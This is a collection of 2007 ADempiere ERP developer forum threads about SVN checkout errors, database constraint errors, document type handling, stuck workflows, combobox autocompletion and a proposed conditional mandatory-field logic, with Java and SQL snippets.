User2_ID NUMERIC(10), CONSTRAINT PP_Cost_Collector_Key PRIMARY KEY
(PP_Cost_Collector_ID));
```

Is that right?

Obviously this will need to be fixed in the PackOut.java.

-Tim

2007-06-02 16:07:09 UTC

no, I would expect it being something like (Processing IN ('Y','N')) DEFAULT 'N'

is it 'CO' in the original definition?

Regards, Dirk

2007-06-02 16:33:46 UTC

Hi, people...

I've tried to get the source code from SVN (<https://svn.sourceforge.net/svnroot/adempiere> - release 320), but this error occurs:

...

A D:/eclipse/workspace/adempiere320/db/ddlutils/model/AD_PACKAGE_EXP.xml
A D:/eclipse/workspace/adempiere320/db/ddlutils/model/AD_TREENODECMS.xml
A D:/eclipse/workspace/adempiere320/db/ddlutils/model/AD_REGISTRATION.xml
A
D:/eclipse/workspace/adempiere320/db/ddlutils/model/AD_WORKBENCHWINDOW.xml
A
D:/eclipse/workspace/adempiere320/db/ddlutils/model/AD_WORKFLOWPROCESSOR.xml
A D:/eclipse/workspace/adempiere320/db/ddlutils/adempiere-data.xml
A D:/eclipse/workspace/adempiere320/db/ddlutils/postgresql
A D:/eclipse/workspace/adempiere320/db/ddlutils/postgresql/log
A D:/eclipse/workspace/adempiere320/db/ddlutils/postgresql/log/readme.txt
A D:/eclipse/workspace/adempiere320/db/ddlutils/postgresql/adempiere-schema.sql

svn: REPORT request failed on '/svnroot/adempiere!/svn/vcc/default'
svn: Processing REPORT request response failed: XML document structures must start and end within the same entity. (/svnroot/adempiere!/svn/vcc/default)

I'm using Eclipse to access and download the code...

How can I solve this problem?

Thanks in advance

2007-06-02 17:00:06 UTC

Hi,

try to use: <https://adempiere.svn.sourceforge.net/svnroot/adempiere>
see: https://sourceforge.net/svn/?group_id=176962

Best regards,
Teo Sarca

2007-06-02 22:24:50 UTC

Teo, I did as you said, but I got the same error:

A
D:/eclipse/workspace/adempiere320/db/ddlutils/data/AD_WORKBENCHWINDOW.xml
A
D:/eclipse/workspace/adempiere320/db/ddlutils/data/AD_WORKFLOWPROCESSOR.xml
A D:/eclipse/workspace/adempiere320/db/ddlutils/readme.txt

A D:/eclipse/workspace/adempiere320/db/ddlutils/sequences
A D:/eclipse/workspace/adempiere320/db/ddlutils/sequences/Sequences.sql
A D:/eclipse/workspace/adempiere320/db/ddlutils/views
A D:/eclipse/workspace/adempiere320/db/CopyRight.sql
A D:/eclipse/workspace/adempiere320/db/UpdateReference.bat
A D:/eclipse/workspace/adempiere320/db/ERModel
svn: REPORT request failed on '/svnroot/adempiere!/svn/vcc/default'
svn: Processing REPORT request response failed: XML document structures must start
and end within the same entity. (/svnroot/adempiere!/svn/vcc/default)

2007-06-03 10:08:03 UTC

Hi,

try other software, like TortoiseSVN.

Best regards,
Teo Sarca

2007-06-03 10:24:08 UTC

Or try a "cleanup" first then an "update"

colin

2007-06-03 18:21:58 UTC

Hi, Teo and Colin...

I used TortoiseSVN and worked...

Thanks for your help!

2007-05-31 02:01:04 UTC

i need to have adempiere mind and concepts, cloned to me...
but i couldn't found the fastest way anywhere...
maybe... i must attend a training...
maybe some1 would post:
all adempiere trainings "table of contents"?

thank you

2007-06-01 09:51:38 UTC

Training see

http://www.adempiere.com/wiki/index.php/Training_Courses#Developer_Training

Also Trifon, who you will find in these forums (you can email his sf user), was talking of providing online training... he would certainly be able to provide you with all you need to know about Adempiere internals.

colin

2007-06-04 01:29:22 UTC

thank you...

i have been

http://www.adempiere.com/wiki/index.php/Training_Courses#Developer_Training

i'm not found what i'm looking for:

the all adempiere (implement, technical, etc...) training: table of contents

thank you...

2007-03-21 02:29:02 UTC

I uploaded a patch which adds a print preview button to the standard toolbar:

http://sourceforge.net/tracker/index.php?func=detail&aid=1684853&group_id=176962&atid=879334

I find most people don't want to preview everything they print, but if they do it is annoying to have to go to the preferences dialog to enable the preview and then disable it afterwards. It is common for other applications to include a print preview toolbar button so I think its a worthwhile addition.

The patch is incomplete as it requires two icons to be added to the client/src/org/compiere/images directory named PrintPreview16.gif and PrintPreview24.gif respectively.

I would actually prefer it if the current report button icon be used for the purpose as it appears to be the standard Tango print preview icon and it looks like the print preview button in most applications. Perhaps something like tango x-office-document or text-x-generic icons would be better for the report button.

There probably also needs to be a translatable message "PrintPreview" added but I don't know how to do that. I'd appreciate anyone's help finishing this off -- though as its strictly speaking a new feature, perhaps I should have waited until after 3.2 is released.

Regards,

Paul

2007-06-04 02:14:22 UTC

Anyone willing to go out on a limb and commit this patch to svn on my behalf, now that the feature freeze for 3.2 is over?

Paul

2007-06-04 05:16:14 UTC

System AD 3.20, Pg 8.24, XP

Whilst trying to import new Account elements, the system throws following error for some of the new elements, whilst the other new ones get imported..

Msg :

```
10:06:16.671 MElementValue.insertTranslations: #1 [15]
10:06:16.687 MElementValue.insert_Tree: #1 - TreeType=EV [15]
10:06:16.687 X_I_ElementValue.saveUpdate: [SvrProcess_7a29418c-d9cb-4023-8000-
c1e61f6c9ee8] - I_ElementValue.I_ElementValue_ID=1004019 [15]
10:06:17.203 ImportAccount.doIt: new ElementValue = 80500 - Interest On Term
Deposits [15]
10:06:17.203 ImportAccount.doIt: new C_ElementValue_ID = 0 [15]
10:06:17.203 MElementValue.saveNew: [SvrProcess_7a29418c-d9cb-4023-8000-
c1e61f6c9ee8] - C_ElementValue - C_ElementValue_ID=1000465 [15]
10:06:17.328 MIssue.create: INSERT INTO C_ElementValue
(AD_Org_ID,AccountSign,AccountType,C_ElementValue_ID,C_Element_ID,Created,C
reatedBy,Description,IsActive,IsBankAccount,IsDocControlled,IsForeignCurrency,IsSu
mmary,Name,PostActual,PostBudget,PostEncumbrance,PostStatistical,Updated,Updated
By,AD_Client_ID,Value) VALUES
(0,'N','R',1000465,1000000,TO_TIMESTAMP('2007-06-04 10:06:17','YYYY-MM-DD
HH24:MI:SS'),100,'TECS','Y','N','N','N','N','Interest On
LC','Y','Y','Y','Y',TO_TIMESTAMP('2007-06-04 10:06:17','YYYY-MM-DD
HH24:MI:SS'),100,1000000,'80500') [SvrProcess_7a29418c-d9cb-4023-8000-
c1e61f6c9ee8] [15]
10:06:18.000 MIssue.saveNew: AD_Issue - AD_Issue_ID=1000728 [15]
=====> DB.executeUpdate: INSERT INTO C_ElementValue
(AD_Org_ID,AccountSign,AccountType,C_ElementValue_ID,C_Element_ID,Created,C
reatedBy,Description,IsActive,IsBankAccount,IsDocControlled,IsForeignCurrency,IsSu
mmary,Name,PostActual,PostBudget,PostEncumbrance,PostStatistical,Updated,Updated
By,AD_Client_ID,Value) VALUES
(0,'N','R',1000465,1000000,TO_TIMESTAMP('2007-06-04 10:06:17','YYYY-MM-DD
HH24:MI:SS'),100,'TECS','Y','N','N','N','N','Interest On
LC','Y','Y','Y','Y',TO_TIMESTAMP('2007-06-04 10:06:17','YYYY-MM-DD
HH24:MI:SS'),100,1000000,'80500') [SvrProcess_7a29418c-d9cb-4023-8000-
c1e61f6c9ee8] [15]
org.postgresql.util.PSQLException: ERROR: duplicate key violates unique constraint
"c_elementvalue_value"; State=23505; ErrorCode=0
at
```

```
org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:1548)
at
org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1316)
)
at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:191)
at
org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:452)
at
org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:351)
at
org.postgresql.jdbc2.AbstractJdbc2Statement.executeUpdate(AbstractJdbc2Statement.java:305)
at sun.reflect.GeneratedMethodAccessor22.invoke(Unknown Source)
at
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at java.lang.reflect.Method.invoke(Method.java:585)
at
org.postgresql.ds.jdbc23.AbstractJdbc23PooledConnection$StatementHandler.invoke(AbstractJdbc23PooledConnection.java:471)
at $Proxy1.executeUpdate(Unknown Source)
at org.compiere.util.CPreparedStatement.executeUpdate(CPreparedStatement.java:192)
at org.compiere.util.DB.executeUpdate(DB.java:969)
at org.compiere.util.DB.executeUpdate(DB.java:876)
at org.compiere.model.PO.saveNew(PO.java:2288)
at org.compiere.model.PO.save(PO.java:1806)
at org.compiere.process.ImportAccount.doIt(ImportAccount.java:264)
at org.compiere.process.SvrProcess.process(SvrProcess.java:133)
at org.compiere.process.SvrProcess.startProcess(SvrProcess.java:91)
at org.compiere.apps.ProcessCtl.startProcess(ProcessCtl.java:558)
at org.compiere.apps.ProcessCtl.run(ProcessCtl.java:324)
```

END :

The problem is that

- 1) There is no Duplicate key in DB for C_ElementValue
- 2) And so we are able to execute the following "INSERT INTO...." statement from PgAdminIII successfully.

```
DB.executeUpdate: INSERT INTO C_ElementValue
(AD_Org_ID,AccountSign,AccountType,C_ElementValue_ID,C_Element_ID,Created,C
reatedBy,Description,IsActive,IsBankAccount,IsDocControlled,IsForeignCurrency,IsSu
mmmary,Name,PostActual,PostBudget,PostEncumbrance,PostStatistical,Updated,Updated
By,AD_Client_ID,Value) VALUES
(0,'N','R',1000465,1000000,TO_TIMESTAMP('2007-06-04 10:06:17','YYYY-MM-DD
HH24:MI:SS'),100,'TECS','Y','N','N','N','N','Interest On
LC','Y','Y','Y','Y',TO_TIMESTAMP('2007-06-04 10:06:17','YYYY-MM-DD
HH24:MI:SS'),100,1000000,'80500') [SvrProcess_7a29418c-d9cb-4023-8000-
c1e61f6c9ee8] [15]
org.postgresql.util.PSQLException: ERROR: duplicate key violates unique constraint
"c_elementvalue_value"; State=23505; ErrorCode=0
```

What should be checked?

Best Regards

Sam24368

2007-06-04 06:24:48 UTC

Oops.. Error in our side. Duplicate Search Key.

Best Regards

Sam24368

2007-06-04 08:31:20 UTC

oracle on XP: LISTENING,
adempiere server: STARTED,
test application server on adempiere client: OK,
test database on adempiere client: OK,
user id: system
password: adempiere,
click checklist button: no respon, no message, hlp plz...
thank you...

2007-06-01 11:42:15 UTC

Hi ADempiere developers,

I am very interested into improving the architecture of ADempiere, making it "more sexy", easier for customizations and move it towards standard infrastructure frameworks. (laugh at me, if you want ;-)

For this I would like to know from developers who needed to do customizations in Java code which do NOT really belong in ADempiere itself:

- Which ADempiere classes have you modified? (full classname appreciated)
- What have you changed in these classes? (keywords only)
- Have you committed it to ADempiere anyway?
- Do you maintain a lokal branch which you have to merge with every new ADempiere version?

Thanks for your support!
... Michael

P.S. the 'e' for code did not fit anymore into the subject line, sorry

2007-06-01 13:49:09 UTC

Hi Michael, and welcome to Adempiere Forum !

- > For this I would like to know from developers who needed to do customizations in Java code which do NOT really belong
- > in ADempiere itself:
- > - Which ADempiere classes have you modified? (full classname appreciated)
- > - What have you changed in these classes? (keywords only)

Basically a lot of things can be implemented using model validators. Model Validators are a simple implementation of AOP concepts. Basically you can insert code before and after an object is created, modified and deleted. Also you can insert code before and after a document's state is changed (prepare, complete, reverse etc).
But, sometimes you need to insert code before and after other methods.

One simple example is when you customize an invoice line (org.compiere.model.MInvoiceLine.copyFrom) and add to it another column. When you reverse the invoice, on the reversed invoice line you want to have that field empty. Because the method org.compiere.model.MInvoice.copyLinesFrom(MInvoice, boolean, boolean) is calling PO.copyValues almost all fields will be copied... which sometimes is the desired functionality, sometimes not.
I think that a common approach about the "copyFrom" methods will be useful, and this can be described in application dictionary. Same thing for the duplicate record functionality (Edit->Copy record menu item).

Other simple example is the accounting (see org.compiere.acct package). Now you can add before and after post hooks but is not enough... different countries, different accounting rules & principles.

And there are more...
What the other developers are thinking ?

> - Do you maintain a lokal branch which you have to merge with every new ADempiere version?

Personally yes :(it's a pain but i don't have any other solution in this moment. hope will have soon :)

PS: I know that i told you about these issues, but i wanted to document them on the public forum.

Best regards,
Teo Sarca

2007-06-01 15:59:17 UTC

Thanks for clarifying, Teo.

Also as clarification: I am looking for customizations where none of these options do work, where ADempiere had to be changed by itself.

As a next step I will come up with suggestions how we could do this better.

I think we should offer options for customizations that such is only necessary in extremely special situations.

And I think its possible to offer such options.

... Michael

2007-06-01 19:10:59 UTC

Hi Michael,

if you need some changes in the gui you normally need to change core classe. For example I needed an panel for every adempiere window that shows (and updates) the number of files in a certain folder to inform the user if new files arrive there. For that I had to customize the APanel.java

As Teo said - most customizations can be done using callout, process or validator but sometimes there is no validator for certain methods e.g. if you add some fields to orderline and shipmentline and you need to copy the values from order to shipment. This is done (for the standard fields) in MInOutLine -> setOrderLine() so the (easy/only?) way is to change this method.

Regards,
Karsten

2007-06-02 08:04:22 UTC

Hi,

> This is done (for the standard fields) in MInOutLine -> setOrderLine() so the (easy/only?) way is to change this method.

I was talking with Trifon, Carlos, Victor about this... and my question was: can we implement a general approach for this kind of situations ? ... somehow to describe this in the metadata (i.e. application dictionary).

What you think ?

Best regards,
Teo Sarca

2007-06-02 14:09:58 UTC

Hi Teo,

the main problem in my opinion is that there is no way to extend the MClasses (of course you can but from core always the original MClasses are called). So for me the most flexible solution would be an AD-Table where you can set the class that should be used instead of the original MClass - like use MyOrder extends MOrder but this would need a lot of refactoring since the MClasses are instanciated everywhere in the code... We would need interfaces for every MClass and then we could use the factory pattern. Main problem here is that we should make the constructors of the MClasses private (like in factory pattern) and this would force existing customizations to refactor their code too. (Or we leave the constructors public and refactor the core code - but then customizations could ignore the new pattern)

thats my first spontaneous 2 cents

Regards,
Karsten

2007-06-02 14:22:46 UTC

Hi Karsten,

Yes i like the factory idea, but there is a lot of work to accomplish. Trifon said something about this too.

But extending the model classes brings another problem that was discussed some while ago: what if 2 extensions extend the same model class... the functionalities won't merge.

Basically i was thinking if there is no click-click solution for some of our extending issues... something like saying (in Application Dictionary) that these fields should be involved in these actions...

Best regards,
Teo Sarca

2007-06-04 11:58:39 UTC

Hi Teo,

The factory idea (or injection) was my initial idea too.

Thanks for bringing up the issue with customizations needed by extensions which might be conflict. Sounds like a more general AOP approach would be more helpful here. With some headaches though, because I would consider it a kind of misuse of AOP, viewing AOP more for crosscutting issues.

But I still need many more examples of where exactly source code had to be changed and what particularly was done. I am looking forward to more examples.

... Michael

2007-04-20 00:56:57 UTC

I had been working on adding autocompletion functionality to Adempiere comboboxes but ran into some trouble with the MLookup combobox model not updating properly when the combobox is editable.

Anyway, I've heard that autocompletion has been implemented in a recent Compiere release. Has anyone seen it and considered porting it to Adempiere? I think it would be a very worthwhile addition, as scrolling through long lists is frustrating, but currently the only alternative is a pop-up search which is overkill.

Regards,

Paul

2007-04-20 01:35:15 UTC

hi paul,

if you have access to svn.compiere.org, you can see that it is implemented using a new combobox model. I believe that a new combobox model is needed for a proper implementation.

Regards,
Low

2007-06-04 02:04:42 UTC

Autocompletion functionality for Adempiere is available at:

http://sourceforge.net/tracker/index.php?func=detail&aid=1730452&group_id=176962&atid=879335

Please test and let me know what you think.

I had a look at the compiere sources and it seems that they have taken the approach of wrapping the combobox model in another model that filters the available items according to the entered text. The approach I have adopted leaves the model untouched but selects the first match from the list...it's probably a matter of personal preference which is better.

Regards,

Paul

2007-06-04 02:14:02 UTC

Hi Paul,

IMHO, the filter approach is more user friendly for working with a large list:

- * It is easier to read at one glance what are the possible matches.
- * It is more obvious when what you have enter is not in the list.

Regards,

Low

2007-06-04 03:23:17 UTC

Low,

Thanks for the comment.

I haven't tried the Compiere version so this is mere supposition, but I'd be concerned about the performance hit on a large list required to update the model at every keystroke. The implementation I've adopted does a simple search for the first match, which could be optimized to a binary search if it is guaranteed that the list is sorted (which is probably the case in Adempiere).

Secondly, I personally believe it is better to be able to see options in the region of the text you have entered, which gives you the option of scrolling through the list even after you have started typing. Once you've filtered the list you get no hints as to what other things you *could* have typed. For example, say you had two locations in a list with similar names: "Newton" and "New town". If you speedily type "New " you'll never realize that there was an option as the list will be filtered to "New town". Still, as I said, that's a matter of personal preference. (So we should either go with a majority preference or give the user a choice.)

Finally, the implementation prevents you entering text which is not on the list.

Anyway, give my version a go. If Compiere's is better, I think it would be relatively simple to port and I'd be willing to do that just to get the functionality in to Adempiere. I really hate having to scroll through long lists with the mouse...

Regards,

Paul

2007-06-04 16:29:35 UTC

In situations like this when personal preference comes into it I think we should adopt the approach of always enhancing ... never take away. With that in mind it strikes me that the enhancement required is to identify whether a combobox or a droplist should be used when we are defining the reference itself... and the UI engine should be enhanced to accomodate this when creating the window.

colin

2007-06-05 01:25:02 UTC

It shouldn't be too difficult to create a new reference type, though I'm not convinced it is necessary. The "enhanced" combobox still has all the capabilities of the existing drop down list (which is just an uneditable combobox), i.e. it has a drop down list that you can select from, and it would be beneficial to use in any place where the lists are currently used. As nothing is being taken away, adding another reference type could be considered to be adding unnecessary complexity.

The personal preference is in how a autocompleting/autoreducing combobox should behave when a user enters text. I have just downloaded the latest Compiere zip and tried out their version so I'll have a go at explaining the difference.

The first thing is that both make the textfield in the combo box editable so that the user can enter text. In Compiere's version the string entered is used to do a case-insensitive filtering of the items in the drop down list to those with any partial match to the string. Hitting enter returns the first item in the filtered list. If the user types text that doesn't match any item the list is empty and hitting enter returns null. The 3 options (Green, Red, Yellow) would thus be filtered to (Green, Red) if the user type "re". There are some quirks in the UI however. As soon as an item is selected by mouse or keyboard, the list is repopulated with all items. This means that it is impractical to use the keyboard to scroll down through a filtered list (because as soon as you press the down key once, it selects the first item, and the list becomes unfiltered), so you are forced to either type until the desired item is at the top of the list, or resort to the mouse. Second, in a long list with a scrollpane the first item often ends up out of the viewport so you can't see what will be selected if you hit enter.

In the autocompletion model I've suggested, on each user keystroke the list is searched

for the first case insensitive match on an item *starting* with the entered string. If one is found that item is selected in the list (causing the list to scroll if necessary), the text field is updated to match the selected item (with any added characters selected so the next keystroke will overwrite them). If no match is found, the keystroke is refused, and the selected item remains selected. Thus in the above example, typing "r" would leave the list as (Green, Red, Yellow), but Red would be selected instantly and "ed" would be appended to the "r" you typed as selected text. Scrolling and selecting with the keyboard or mouse behaves normally. This form of data entry seems to me to be more intuitive (and more commonly used) than Compiere's approach.

One issue I have noticed that applies even to the current implementation, is that as soon as an item is selected in the list the field is treated as updated and callouts/dynamic validation occurs. This can be seen if you scroll through the list of target document types in Sales Order using the keyboard. I think this should only occur after the final selection is made (drop down list closes, focus is lost?).

Regards,

Paul

2007-06-04 22:14:21 UTC

Hi All,

I just managed to get a regenerate material plan to run in the adempiere trunk, it ran into an error dealing with the following:

```
MDocType.setKeyInfo: (PK) C_DocType_ID=127 [15]
11:49:42.981 DB.getConnectionRO: #0 - Pooled connection wrapping physical
connection org.postgresql.jdbc3.Jdbc3Connection@1f195fc [15]
-----> MRP.process: 0 [15]
java.lang.ArrayIndexOutOfBoundsException: 0
at org.eevolution.process.MRP.runMRP(MRP.java:284)
```

I added this:

```
public class MDocType extends X_C_DocType^M
{^M

public static final String DOCBASETYPE_ManufacturingOrderIssue = "MOI";
public static final String DOCBASETYPE_ManufacturingOrderMethodVariation =
"MOM";
public static final String DOCBASETYPE_ManufacturingOrder = "MOP";
public static final String DOCBASETYPE_ManufacturingOrderReceipt = "MOR";
public static final String DOCBASETYPE_ManufacturingOrderUseVariation = "MOU";
public static final String DOCBASETYPE_ManufacturingOrderRateVariation = "MOV";
```

```
public static final String DOCBASETYPE_QualityOrder = "MQO";
```

but these types don't exist in the table C_DocType :(

I can see this however:

```
SELECT * FROM C_DocType where DocBaseType = 'POR'; c_doctype_id |
ad_client_id | ad_org_id | isactive | created | createdby | updated | updatedby | name |
printname | description | docbasetype | issotrx | docsubtypeso | hasproforma |
c_doctypeproforma_id | c_doctypeshipment_id | c_doctypeinvoice_id | isdocnocontrolled
| docnosequence_id | gl_category_id | hascharges | documentnote | isdefault |
documentcopies | ad_printformat_id | isdefaultcounterdoc | isshipconfirm |
ispickqaconfirm | isintransit | issplitwhendifference | c_doctypedifference_id |
iscreatecounter | isindexed -----+-----+-----+-----+-----
--+-----+-----+-----+-----+-----+-----+-----+-----+-----
-----+-----+-----+-----+-----+-----+-----+-----+-----
-----+-----+-----+-----+-----+-----+-----+-----+-----
-----+-----+-----+-----+-----+-----+-----+-----+-----
127 | 11 | 0 | Y | 2001-03-27 15:44:23 | 0 | 2003-02-22 02:20:12 | 0 | Purchase Requisition
| Purchase Requisition | | POR | N | | N | | | Y | 382 | 0 | N | | N | 0 | | N | N | N | N | N | | Y |
Y
```

(1 row)

What is the best way to put in the new types? I tried this:

```
cat 009_MFGDOCBASETYPE.sql
set search_path = adempiere;
```

```
INSERT INTO c_doctype (c_doctype_id, ad_client_id, ad_org_id, isactive, created,
createdby, updated, updatedby, name, printname, description, docbasetype, issotrx,
docsubtypeso, hasproforma, c_doctypeproforma_id, c_doctypeshipment_id,
c_doctypeinvoice_id, isdocnocontrolled, docnosequence_id, gl_category_id, hascharges,
documentnote, isdefault, documentcopies, ad_printformat_id, isdefaultcounterdoc,
isshipconfirm, ispickqaconfirm, isintransit, issplitwhendifference,
c_doctypedifference_id, iscreatecounter, isindexed) VALUES (
-1, 11, 0, 'Y', '2001-03-27 15:44:23', 0, '2003-02-22 02:20:12', 0, 'MFG Order Issue',
'MFG Order Issue', 'N', 'MOI', 'N', 'N', 'N', 0, 0, 0, 'Y', 3820, 0, 'N', "", 'N', 0, 0, 'N', 'N', 'N',
'N', 'N', 0, 'Y', 'Y');
```

but this gave error:

```
psql adempiere < 009_MFGDOCBASETYPE.sql
```


SET

ERROR: insert or update on table "c_doctype" violates foreign key constraint
"ad_sequence_doctypedoc"

DETAIL: Key (docnosequence_id)=(3820) is not present in table "ad_sequence".

My knowledge about ad_sequence is not adequate enough to know how to deal with this.
I am sooo close help me please :)

-Tim

2007-06-05 11:40:52 UTC

Hi Tim,

>DETAIL: Key (docnosequence_id)=(3820) is not present in table "ad_sequence".

If you define a value for docnosequence_id, this value must exist into the AD_Sequence table.

In the Insert you set the docnosequence_id = 3820, but surely this value is not defined in AD_Sequence, then fail by the constraint "ad_sequence_doctypedoc".

You should define this value (3820) into the AD_Sequence table if you want to include it as docsequence_id into the C_DocType table.

Best regards,

Alejandro

2007-05-30 04:35:32 UTC

Hi,

I am programatically generating the material reciept from another customised window.
My intention to get MM Reciepts as the document type but I am getting MM Returns as document Type.

The relevant code is:

```
////////////////////////////////////
```

```
//Create a Material Reciept document
```

```
MInOut shipment = new MInOut (getCtx(), 0, null);
```

```
//Fill the values from Cane Recipet document
```

```
shipment.setC_DocType_ID(MDocType.DOCBASETYPE_MaterialReceipt);
```

```
shipment.setMovementType(MOVEMENTTYPE_VendorReceipts);
```

```
shipment.setC_BPartner_ID(mCaneReciept.getC_BPartner_ID());
```

```
shipment.setC_BPartner_Location_ID(mCaneReciept.getC_BPartner_Location_ID());
```

```
shipment.setDescription("Created via Cane Reciept No. " + caneRecipetID);
```

```
shipment.setM_Warehouse_ID(mCaneReciept.getM_Warehouse_ID());
shipment.save();
////////////////////////////////////
```

Here mCaneReciept represnts the other window from which data is fetched.
MOVEMENTTYPE_VendorReceipts is "V+".

Not sure if it is a bug or I am doing something wrong. If it is a bug I will file this in the bug list.

2007-05-30 05:18:58 UTC

As a stop gap I have put the following code for document type

```
shipment.setC_DocType_ID(1000013);
```

and this works fine.

2007-05-30 05:21:06 UTC

Dont think it is a bug, if this is happening due to a Callout. You may need to check that first.

redl

2007-05-30 05:22:20 UTC

hmm.. ok, did u try to put a break in your IDE during source debug run to see if the getC_DocType returns that 1000013?

2007-05-30 06:35:37 UTC

```
>> shipment.setC_DocType_ID(MDocType.DOCBASETYPE_MaterialReceipt);
Not sure this is correct!?
```

C_DocType_ID is a typical integer adempiere pkey value... but the DOCBASETYPE_ values are 3 digit alpha codes in tis case "MMR"
Actually I'm surprised it doesn't generate an error because MDocType.DOCBASETYPE_MaterialReceipt is a String and shipment.setC_DocType_ID expects an Int!?

colin

2007-05-30 06:46:20 UTC

Hi Colin,

The method signature is: public void setC_DocType_ID (String DocBaseType).
Inside, it performs a SELECT to extract the integer ID of that type out of C_DocType.

Warm regards,
Bahman

2007-05-30 08:04:05 UTC

sorry ... It was early ... I must have been still asleep ! :)

colin

2007-05-30 08:14:28 UTC

aha I see now ... I was looking X_MDocType & X_MInOut

So the problem must lie in this selection (in MInOut.setC_DocType_ID)
I wonder is it the IsSOTrx flag causing the problems... I see there are more than one record in DocType with DOCBASETYPE = MMR

colin

2007-05-30 08:33:18 UTC

Yes, good point Colin! Looks like now you are awake :-)
A simple query to the database shows that if isSOTrx = Y the DocType would be 'MM Customer Return' otherwise 'MM Receipt Receipt' or 'MM Receipt with Confirmation'.

Warm regards,
Bahman

2007-06-05 13:15:29 UTC

Hi,

>As a stop gap I have put the following code for document type
>
>shipment.setC_DocType_ID(1000013);

C_DocType is created for each Client in Adempiere. This means that GardenWorld client has different C_DocType_IDs from other Clients. Your code will work only with one specific case. You need to find appropriate C_DocType_ID from C_DocType taking into account AD_Client_ID.

Kind regards,
Trifon

2007-04-16 15:07:15 UTC

Hello,
we modified workflow for processing orders, Process_Order. Problem is that in 1% of cases, workflow stucked in running mode and we can't do anything else except from abort that and re-run again. But whenever we create new document, exactly containing same information and run workflow second time it works just fine. I looked thru issues table, didn't find anything. I can't find any error. I tried to replicate but unsuccessfully. It looks to me that it stays in some node and running status only when it waits for some locks. It is strange, and it happens (once a while) for all workflows we use, e.g. process_shipments and so on. Has somebody runs into same problem? We use oracle database 10g.

2007-04-17 14:03:32 UTC

I think it's usual phenomena in our experience. We used to have it once in a while in production. The problem is it's very hard to reproduce. could you tell me how many users are accessing at the same time ? how's your connection or database load ?

Armen

2007-04-17 14:31:40 UTC

We have around 25 users accessing system at same time. There is cca. 120 - 150 oracle sessions (5-6 sessions per user) at same time. Do you need any other specific information? As problem looks to me, is that process waits somewhere in middle of node (e.g. completeIt() in MOrder) and it finish something from that and stays. So it creates a lot of problems. Armen did you found any workaround?

2007-04-17 14:33:55 UTC

Also I found that in case that there is ClassNotFoundException and so on it do same thing. Stays in running state and nothing... In case of other exceptions it will at least continue...

2007-04-17 14:54:04 UTC

Hi,

Do you have any locks ?

Best regards,
Teo Sarca

2007-04-17 20:47:01 UTC

What do you mean locks? If we found in DB any instance locks and blocked sessions? If you mean these there are not any. Problem is that they closes their clients pretty often, once client is closed, I do not know if locked sessions stays in DB. Because workflow processes are running on background, even if workflow did not complete, user will not know. Then he closes his client.

E.g. user complete workflow activity (from workflow activity window), he will not know that it is in process (happens in background) and process - thread will just stopped (waits for lock or something). Then user do his job, at the end of the day he will not know that there is still some background thread that is still stepping/pending and close his client.

What happens? I guess workflow stays in running mode, last activity stays in running mode also. Workflow is massed up, all you can do is abort workflow and start again... Is there any workaround?

2007-06-05 15:46:15 UTC

Hi

One reason I found that this happens is when a user logs in, does the approval then immediatly closes compiere. Remember that the workflow process does quite a bit of work - sends emails etc. The entire process does not complete so you can get a workflow that is still in the running status. The solution would be to ask the users not to close immediatly after approval.

2007-06-03 08:01:13 UTC

Hi all,

sometimes there is a need for a construct I would call "dependant mandatory field". Means that you must fill in a field when you selected a value in an other field.

An example application is incoterms. We need two fields, one is a selection field with the 13 possible incoterms and the second field is incoterms_location where you have to fill in something when you selected a non null value.

So when you do not select an incoterm an empty incoterms_location is ok. When you select "FOB" (free on board) you have to put in a location like "Rotterdam".

This can not be done with mandatory fields at database level because the content is only "logically mandatory".

Any thoughts?

Regards, Dirk

2007-06-03 08:15:42 UTC

Hi Dirk,

Currently you should handle these validations and dependencies in `MClass.beforeSave()`. To improve the user-friendliness of the window you could define a Default Logic for the slave field to have a default value based on the master field value.

Hope this helps :-)

Warm regards,
Bahman

2007-06-03 08:42:49 UTC

Hi Bahman,

you are right. I just thought there could be some construct like the current display logic. If the field is displayed because of the content in some other field then it MUST be filled in or you are not able to save the current entry.

And in this example case there is no default value. Could be any location.

Regards, Dirk

2007-06-03 09:06:29 UTC

Hi Dirk,

Bahman is right, the `beforeSave` is the place to validate the form but if you need to inform the user that he has to fill a field you could use a callout for that.

Btw - I did a gui enhancement for some similar reasons that makes it easy to set the background color of a field from within a callout so that I can mark fields as mandatory/error. Maybe I should review the code :) and post it to trunk. Then you would have a callout for the incoterm field that sets the location field to error if you select a non null incoterm (and back to normal if you select null) and another callout for the location field to set it to normal when the user selects a country.

That might not be the most elegant way to solve this kind of problems - so what do you think?

Regards,
Karsten

2007-06-03 14:39:25 UTC

Hi,

I did some tests and it looks to me that it is quite easy to have the additional logic for a

MandatoryLogic field. I just tried it with hardcoded values but it should be no problem to do this with real ad fields too:

1. add a String field 'MandatoryLogic' to GridFieldVO:

(of course we have to add more lines of code here if we go this way - look at ReadOnlyLogic field in this class)

```
public String MandatoryLogic = "1=1"; //fake logic -> all fields should be mandatory now
```

2. change the GridField -> isMandatory() by adding the following lines at it's beginning:

```
public boolean isMandatory (boolean checkContext)
{
// Do we have a mandatory rule
if (checkContext && m_vo.MandatoryLogic.length() > 0)
{
boolean retValue = Evaluator.evaluateLogic(this, m_vo.MandatoryLogic);
log.info(m_vo.ColumnName + " Mandatory(" + m_vo.MandatoryLogic + ") => Mandatory-" + retValue);
if (retValue)
return true;
}
[...]
```

Thats all - now all fields are mandatory because of the 1=1 allways true logic
If you think that this is a good approach I can do the coding (GridFieldVO) and sql for the new MandatoryLogic field in AD_Column tomorrow.

So what do you think?

Regards,
Karsten

2007-06-03 16:20:33 UTC

Hi Karsten,

Useful and straight-forward! You have my vote :-)
Thank you!

Warm regards,
Bahman

2007-06-04 00:03:05 UTC

Hi Karsten,

This sounds like a very good enhancement.

+1 to add this to trunk.

Regards,
Low

2007-06-04 06:15:19 UTC

I like it too.

+1 vote

Best regards,
Teo Sarca

2007-06-04 07:08:41 UTC

Hi Karsten,

very good. Please go on.

Regards, Dirk

2007-06-04 10:54:53 UTC

Hi,

I created a feature request for it by copying the first posting from here. I will commit my solution later today to trunk.

Best regards,
Karsten

